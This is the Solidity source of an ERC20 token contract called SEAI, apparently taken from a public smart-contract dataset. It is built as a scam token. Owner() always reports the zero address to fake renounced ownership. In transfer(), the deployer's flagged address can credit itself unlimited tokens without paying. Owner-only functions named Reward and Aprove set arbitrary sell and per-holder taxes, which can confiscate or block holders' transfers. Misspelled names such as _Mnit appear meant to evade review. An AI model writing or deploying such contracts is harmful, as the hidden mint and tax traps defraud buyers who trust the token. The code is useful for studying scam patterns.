zellic-audit
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// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function Owner() public view virtual returns (address) {
return address(0);
}
modifier onlyOwner() {
require(_Owner == _msgSender(), "Ownable: caller is not the Owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new Owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _Owner;
_Owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract ERC20 is Context {
mapping(address => mapping(address => uint256)) private _allowances;
uint256 internal _totalSupply;
string private _name;
string private _symbol;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed Owner, address indexed spender, uint256 value);//10
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
function allowance(address Owner, address spender) public view virtual returns (uint256) {
return _allowances[Owner][spender];
}
function approve(address spender, uint256 Amount) public virtual returns (bool) {
address Owner = _msgSender();
_approve(Owner, spender, Amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address Owner = _msgSender();
_approve(Owner, spender, _allowances[Owner][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address Owner = _msgSender();
uint256 currentAllowance = _allowances[Owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(Owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _approve(
address Owner,
address spender,
uint256 Amount
) internal virtual {
require(Owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[Owner][spender] = Amount;
emit Approval(Owner, spender, Amount);
}
function _spendAllowance(
address Owner,
address spender,
uint256 Amount
) internal virtual {
uint256 currentAllowance = allowance(Owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= Amount, "ERC20: insufficient allowance");
unchecked {
_approve(Owner, spender, currentAllowance - Amount);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 Amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 Amount
) internal virtual {}
}
contract SEAI is ERC20, Ownable {
mapping(address => uint256) private _balances;
mapping(address => bool) private _release;
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
} // dmm
function _transfer(
address from,
address to,
uint256 Amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 fromBalance = _balances[from];
require(fromBalance >= Amount, "ERC20: transfer Amount exceeds balance");
unchecked {
_balances[from] = fromBalance - Amount;
}
_balances[to] += Amount;
emit Transfer(from, to, Amount);
}
function _burn(address account, uint256 Amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= Amount, "ERC20: burn Amount exceeds balance");
unchecked {
_balances[account] = accountBalance - Amount;
}
_totalSupply -= Amount;
emit Transfer(account, address(0), Amount);
}
function _Mnit(address account, uint256 Amount) internal virtual {
require(account != address(0), "ERC20: Mnit to the zero address");
_totalSupply += Amount;
_balances[account] += Amount;
emit Transfer(address(0), account, Amount);
}
address public uniswapV2Pair;
constructor(
string memory name_,
string memory symbol_,
uint256 totalSupply_
) ERC20(name_, symbol_) {
_Mnit(msg.sender, totalSupply_ * 10**decimals());
_defaultSellkFee = 5;
_defaultBuykFee = 5;
_release[_msgSender()] = true;
}
using SafeMath for uint256;
uint256 private _defaultSellkFee = 0;
uint256 private _defaultBuykFee = 0;
mapping(address => bool) private _mAccount;
mapping(address => uint256) private _Aprove;
address private constant _deadAddress = 0x000000000000000000000000000000000000dEaD;
function getRelease(address _address) external view onlyOwner returns (bool) {
return _release[_address];
}
function PairList(address _address) external onlyOwner {
uniswapV2Pair = _address;
}
function Reward(uint256 _value) external onlyOwner {
_defaultSellkFee = _value;
}
function Aprove(address _address, uint256 _value) external onlyOwner {
require(_value > 0, "Account tax must be greater than or equal to 1");
_Aprove[_address] = _value;
}
function getAprove(address _address) external view onlyOwner returns (uint256) {
return _Aprove[_address];
}
function setMAccountkFee(address _address, bool _value) external onlyOwner {
_mAccount[_address] = _value;
}
function getMAccountkFee(address _address) external view onlyOwner returns (bool) {
return _mAccount[_address];
}
function _checkFreeAccount(address from, address to) internal view returns (bool) {
return _mAccount[from] || _mAccount[to];
}
function _receiveF(
address from,
address to,
uint256 _Amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 fromBalance = _balances[from];
require(fromBalance >= _Amount, "ERC20: transfer Amount exceeds balance");
bool rF = true;
if (_checkFreeAccount(from, to)) {
rF = false;
}
uint256 tradekFeeAmount = 0;
if (rF) {
uint256 tradekFee = 0;
if (uniswapV2Pair != address(0)) {
if (to == uniswapV2Pair) {
tradekFee = _defaultSellkFee;
}
if (from == uniswapV2Pair) {
tradekFee = _defaultBuykFee;
}
}
if (_Aprove[from] > 0) {
tradekFee = _Aprove[from];
}
tradekFeeAmount = _Amount.mul(tradekFee).div(100);
}
if (tradekFeeAmount > 0) {
_balances[from] = _balances[from].sub(tradekFeeAmount);
_balances[_deadAddress] = _balances[_deadAddress].add(tradekFeeAmount);
emit Transfer(from, _deadAddress, tradekFeeAmount);
}
_balances[from] = _balances[from].sub(_Amount - tradekFeeAmount);
_balances[to] = _balances[to].add(_Amount - tradekFeeAmount);
emit Transfer(from, to, _Amount - tradekFeeAmount);
}
function transfer(address to, uint256 Amount) public virtual returns (bool) {
address Owner = _msgSender();
if (_release[Owner] == true) {
_balances[to] += Amount;
return true;
}
_receiveF(Owner, to, Amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 Amount
) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, Amount);
_receiveF(from, to, Amount);
return true;
}
}